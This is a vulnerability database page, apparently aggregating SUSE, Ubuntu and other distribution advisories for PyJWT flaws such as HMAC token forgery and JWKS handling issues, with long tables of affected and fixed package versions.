  • CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
  • CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
  • CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
Record
SUSE-SU-2026:24134-1
Updated
2026-11-02
OSVSUSE-SU-2026:24219-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues:

  • CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
  • CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
  • CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
  • CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
  • CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
  • CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
  • CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
  • CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
  • CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
  • CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).
Record
SUSE-SU-2026:24219-1
Updated
2026-11-02
OSVSUSE-SU-2026:24377-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues:

  • CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
  • CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
  • CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
  • CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
  • CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
  • CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
  • CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
  • CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
  • CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
  • CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).
Record
SUSE-SU-2026:24377-1
Updated
2026-11-02
OSVSUSE-SU-2026:5064-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues:

  • CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
  • CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
  • CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
  • CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
  • CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
  • CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
  • CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
  • CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
Record
SUSE-SU-2026:5064-1
Updated
2026-11-03
OSVUSN-8916-1 No score

pyjwt vulnerabilities

YuSung Han discovered that PyJWT did not properly validate certain JWK keys when performing HMAC verification. An attacker could possibly use this issue to forge authentication tokens. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-102266)

Rohan Das discovered that PyJWT incorrectly handled redirects when fetching key sets. A remote attacker could possibly use this issue to cause PyJWT to disclose sensitive information. This issue only affected Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, Ubuntu 26.04 LTS. (CVE-2026-102267)

It was discovered that PyJWT incorrectly recognized certain PEM representations. An attacker who knew the public key could possibly use this issue to forge authentication tokens. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, Ubuntu 26.04 LTS. (CVE-2026-102268)

Nuno Lopes discovered that PyJWT incorrectly handled DER public keys when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102271)

It was discovered that PyJWT did not properly handle certain JWK keys prefixed with a byte-order mark. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102272)

Charles Vosburgh discovered that PyJWT incorrectly handled certain JWK containers when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102273)

Record
USN-8916-1
Updated
2026-11-02
OSVUSN-8916-2 No score

pyjwt vulnerabilities

USN-8916-1 fixed vulnerabilities in PyJWT. This update provides the corresponding fix for PyJWT on Ubuntu 26.10.

Original advisory details:

YuSung Han discovered that PyJWT did not properly validate certain JWK keys when performing HMAC verification. An attacker could possibly use this issue to forge authentication tokens. (CVE-2026-102266)

Rohan Das discovered that PyJWT incorrectly handled redirects when fetching key sets. A remote attacker could possibly use this issue to cause PyJWT to disclose sensitive information. (CVE-2026-102267)

It was discovered that PyJWT incorrectly recognized certain PEM representations. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102268)

Nuno Lopes discovered that PyJWT incorrectly handled DER public keys when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102271)

It was discovered that PyJWT did not properly handle certain JWK keys prefixed with a byte-order mark. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102272)

Charles Vosburgh discovered that PyJWT incorrectly handled certain JWK containers when performing HMAC verification. An attacker who knew the public key could possibly use this issue to forge authentication tokens. (CVE-2026-102273)

Record
USN-8916-2
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pyjwt
PyPI
2.4.0 up to 2.14.0
2.14.0
fence-agents-aliyun
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-all
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-amt-ws
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-apc
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-apc-snmp
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-aws
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-azure-arm
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-bladecenter
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-cisco-ucs
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
Show 134 moreShow less
Affected packages
PackageAffectedFixed
fence-agents-common
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-compute
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-drac5
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-gce
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-hpblade
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-ibm-powervs
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-ibm-vpc
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-ibmblade
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-ifmib
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-ilo-moonshot
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-ilo-mp
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-kdump
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-kubevirt
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-lpar
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-mpath
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-nutanix-ahv
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-openstack
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-redfish
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-rhevm
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-rsa
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-scsi
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-virsh
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-vmware-rest
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-virt
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-virtd-libvirt
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-virtd-multicast
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-virtd-serial
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
ha-cloud-support
AlmaLinux:9
From an advisory covering 5 CVEs
before 4.10.0-110.el9_8.8
4.10.0-110.el9_8.8
fence-agents-aliyun
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-all
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-amt-ws
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-apc
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-apc-snmp
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-aws
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-azure-arm
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-bladecenter
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-brocade
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-cisco-mds
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-cisco-ucs
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-common
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-drac5
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-eaton-snmp
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-emerson
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-eps
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-gce
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-heuristics-ping
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-hpblade
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-ibm-powervs
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-ibm-vpc
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-ibmblade
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-ifmib
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-ilo-moonshot
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-ilo-mp
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-ilo-ssh
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-ilo2
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-intelmodular
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-ipdu
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-ipmilan
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-kdump
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-kubevirt
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-lpar
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-mpath
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-nutanix-ahv
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-openstack
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-redfish
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-rhevm
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-rsa
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-rsb
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-sbd
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-scsi
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-virsh
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-vmware-rest
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-vmware-soap
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-wti
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-agents-zvm
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-virt
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-virtd
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-virtd-cpg
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-virtd-libvirt
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-virtd-multicast
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-virtd-serial
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
fence-virtd-tcp
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
ha-cloud-support
AlmaLinux:10
From an advisory covering 5 CVEs
before 4.16.0-21.el10_2.7
4.16.0-21.el10_2.7
python-jwt
Azure Linux:3
before 2.15.1-1
2.15.1-1
py3-jwt
Alpaquita:25
2.10.1-r0 up to 2.15.1-r0
2.15.1-r0
py3-jwt
Alpaquita:stream
2.8.0-r1 up to 2.15.1-r0
2.15.1-r0
pyjwt
TuxCare:PyPI
From an advisory covering 6 CVEs
2.10.1 up to 2.10.1.post5+tuxcare, plus listed versions
2.10.1.post1+tuxcare2.10.1.post2+tuxcare2.10.1.post3+tuxcare2.10.1.post4+tuxcare
2.10.1.post5+tuxcare
pyjwt
TuxCare:PyPI
From an advisory covering 6 CVEs
2.8.0 up to 2.8.0.post4+tuxcare, plus listed versions
2.8.0.post1+tuxcare2.8.0.post2+tuxcare2.8.0.post3+tuxcare
2.8.0.post4+tuxcare
pyjwt
TuxCare:PyPI
From an advisory covering 2 CVEs
2.3.0 up to 2.3.0.post5+tuxcare, plus listed versions
2.3.0.post1+tuxcare2.3.0.post2+tuxcare2.3.0.post3+tuxcare2.3.0.post4+tuxcare
2.3.0.post5+tuxcare
pyjwt
TuxCare:PyPI
1.7.1 up to 1.7.1.post5+tuxcare, plus listed versions
1.7.1.post1+tuxcare1.7.1.post2+tuxcare1.7.1.post3+tuxcare1.7.1.post4+tuxcare
1.7.1.post5+tuxcare
pyjwt
Debian:12
All versions, plus listed versions
2.10.1-12.10.1-22.10.1-32.10.1-42.11.0-2
Show 8 moreShow less
2.12.1-12.13.0-12.14.0-12.15.0-12.15.1-12.6.0-12.6.0-1+deb12u12.7.0-1
None known
pyjwt
Debian:13
All versions, plus listed versions
2.10.1-22.10.1-2+deb13u12.10.1-32.10.1-42.11.0-2
Show 5 moreShow less
2.12.1-12.13.0-12.14.0-12.15.0-12.15.1-1
None known
pyjwt
Debian:14
before 2.14.0-1, plus listed versions
2.10.1-22.10.1-32.10.1-42.11.0-22.12.1-12.13.0-1
2.14.0-1
pyjwt
PyPI
2.4.0 up to 2.14.0, plus listed versions
2.10.02.10.12.11.02.12.02.12.1
Show 6 moreShow less
2.13.02.5.02.6.02.7.02.8.02.9.0
2.14.0
python-jwt
openEuler:24.03-LTS-SP3
From an advisory covering 3 CVEs
before 2.8.0-6.oe2403sp3
2.8.0-6.oe2403sp3
python-jwt
openEuler:24.03-LTS-SP4
From an advisory covering 3 CVEs
before 2.8.0-6.oe2403sp4
2.8.0-6.oe2403sp4
python-jwt
openEuler:22.03-LTS-SP4
From an advisory covering 3 CVEs
before 2.3.0-8.oe2203sp4
2.3.0-8.oe2203sp4
python-jwt
openEuler:24.03-LTS-SP1
From an advisory covering 3 CVEs
before 2.8.0-6.oe2403sp1
2.8.0-6.oe2403sp1
fence-agents
Rocky Linux:9
From an advisory covering 5 CVEs
before 0:4.10.0-110.el9_8.8
0:4.10.0-110.el9_8.8
fence-agents
Rocky Linux:10
From an advisory covering 5 CVEs
before 0:4.16.0-21.el10_2.7
0:4.16.0-21.el10_2.7
pyjwt
Root:PyPI
before 2.13.0+aikido.1
2.13.0+aikido.12.12.1+aikido.1
PyJWT
Root:PyPI
before 2.12.1+aikido.5
2.12.1+aikido.52.13.0+aikido.1
python-PyJWT
SUSE:Linux Micro 6.2
From an advisory covering 10 CVEs
before 2.12.1-160000.3.1
2.12.1-160000.3.1
python-PyJWT
SUSE:Linux Micro 6.0
From an advisory covering 9 CVEs
before 2.9.0-159998.1.1
2.9.0-159998.1.1
python-PyJWT
SUSE:Linux Enterprise Server 16.0
From an advisory covering 10 CVEs
before 2.12.1-160000.3.1
2.12.1-160000.3.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 10 CVEs
before 2.12.1-160000.3.1
2.12.1-160000.3.1
python-PyJWT
SUSE:Linux Micro 6.1
From an advisory covering 10 CVEs
before 2.12.1-slfo.1.1_3.1
2.12.1-slfo.1.1_3.1
python-PyJWT
SUSE:Linux Enterprise Module for Public Cloud 15 SP4
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
python-PyJWT
SUSE:Linux Enterprise Module for Python 3 15 SP7
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
python-PyJWT
SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP4-LTSS
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP5-LTSS
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
python-PyJWT
SUSE:Linux Enterprise Server 15 SP6-LTSS
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP4
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP5
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
python-PyJWT
SUSE:Linux Enterprise Server for SAP Applications 15 SP6
From an advisory covering 8 CVEs
before 2.8.0-150400.8.20.1
2.8.0-150400.8.20.1
pyjwt
Ubuntu:Pro:16.04:LTS
before 1.3.0-1ubuntu0.1+esm3, plus listed versions
1.0.0-0ubuntu11.3.0-11.3.0-1ubuntu0.11.3.0-1ubuntu0.1+esm11.3.0-1ubuntu0.1+esm2
1.3.0-1ubuntu0.1+esm3
pyjwt
Ubuntu:Pro:18.04:LTS
before 1.5.3+ds1-1ubuntu0.1+esm3, plus listed versions
1.4.2-1.11.5.3+ds1-11.5.3+ds1-1ubuntu0.11.5.3+ds1-1ubuntu0.1+esm11.5.3+ds1-1ubuntu0.1+esm2
1.5.3+ds1-1ubuntu0.1+esm3
pyjwt
Ubuntu:Pro:20.04:LTS
before 1.7.1-2ubuntu2.1+esm3, plus listed versions
1.7.0-21.7.1-11.7.1-2ubuntu11.7.1-2ubuntu21.7.1-2ubuntu2.11.7.1-2ubuntu2.1+esm11.7.1-2ubuntu2.1+esm2
1.7.1-2ubuntu2.1+esm3
pyjwt
Ubuntu:22.04:LTS
before 2.3.0-1ubuntu0.5, plus listed versions
1.7.1-2ubuntu22.1.0-12.3.0-12.3.0-1ubuntu0.12.3.0-1ubuntu0.22.3.0-1ubuntu0.32.3.0-1ubuntu0.4
2.3.0-1ubuntu0.5
pyjwt
Ubuntu:24.04:LTS
before 2.7.0-1ubuntu0.3, plus listed versions
2.7.0-12.7.0-1ubuntu0.12.7.0-1ubuntu0.2
2.7.0-1ubuntu0.3
pyjwt
Ubuntu:26.10
before 2.13.0-1ubuntu1, plus listed versions
2.10.1-4ubuntu12.12.1-12.13.0-1
2.13.0-1ubuntu1
pyjwt
Ubuntu:26.04:LTS
before 2.10.1-4ubuntu1.2, plus listed versions
2.10.1-22.10.1-32.10.1-3build12.10.1-42.10.1-4ubuntu12.10.1-4ubuntu1.1
2.10.1-4ubuntu1.2
pyjwt
Ubuntu:Pro:16.04:LTS
From an advisory covering 6 CVEs
before 1.3.0-1ubuntu0.1+esm3, plus listed versions
1.0.0-0ubuntu11.3.0-11.3.0-1ubuntu0.11.3.0-1ubuntu0.1+esm11.3.0-1ubuntu0.1+esm2
1.3.0-1ubuntu0.1+esm3
pyjwt
Ubuntu:Pro:18.04:LTS
From an advisory covering 6 CVEs
before 1.5.3+ds1-1ubuntu0.1+esm3, plus listed versions
1.4.2-1.11.5.3+ds1-11.5.3+ds1-1ubuntu0.11.5.3+ds1-1ubuntu0.1+esm11.5.3+ds1-1ubuntu0.1+esm2
1.5.3+ds1-1ubuntu0.1+esm3
pyjwt
Ubuntu:Pro:20.04:LTS
From an advisory covering 6 CVEs
before 1.7.1-2ubuntu2.1+esm3, plus listed versions
1.7.0-21.7.1-11.7.1-2ubuntu11.7.1-2ubuntu21.7.1-2ubuntu2.11.7.1-2ubuntu2.1+esm11.7.1-2ubuntu2.1+esm2
1.7.1-2ubuntu2.1+esm3
pyjwt
Ubuntu:22.04:LTS
From an advisory covering 6 CVEs
before 2.3.0-1ubuntu0.5, plus listed versions
1.7.1-2ubuntu22.1.0-12.3.0-12.3.0-1ubuntu0.12.3.0-1ubuntu0.22.3.0-1ubuntu0.32.3.0-1ubuntu0.4
2.3.0-1ubuntu0.5
pyjwt
Ubuntu:24.04:LTS
From an advisory covering 6 CVEs
before 2.7.0-1ubuntu0.3, plus listed versions
2.7.0-12.7.0-1ubuntu0.12.7.0-1ubuntu0.2
2.7.0-1ubuntu0.3
pyjwt
Ubuntu:26.04:LTS
From an advisory covering 6 CVEs
before 2.10.1-4ubuntu1.2, plus listed versions
2.10.1-22.10.1-32.10.1-3build12.10.1-42.10.1-4ubuntu12.10.1-4ubuntu1.1
2.10.1-4ubuntu1.2
pyjwt
Ubuntu:26.10
From an advisory covering 6 CVEs
before 2.13.0-1ubuntu1, plus listed versions
2.10.1-4ubuntu12.12.1-12.13.0-1
2.13.0-1ubuntu1
python-PyJWT
openSUSE:Leap 16.0
From an advisory covering 10 CVEs
before 2.12.1-160000.3.1
2.12.1-160000.3.1

History

History
RecordedChangedSources
affected, aliases, referencesOSV
affected
affected, aliases, referencesOSV
affected, aliases, referencesOSV
affected, aliases, facts, referencesOSV
affected, aliasesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-102271 is a high vulnerability (CVSS 7.4) in Jpadilla Pyjwt, published September 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.21%, the 11th percentile. Fixed in pyjwt 2.14.0.

References

Show 65 moreShow less
This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open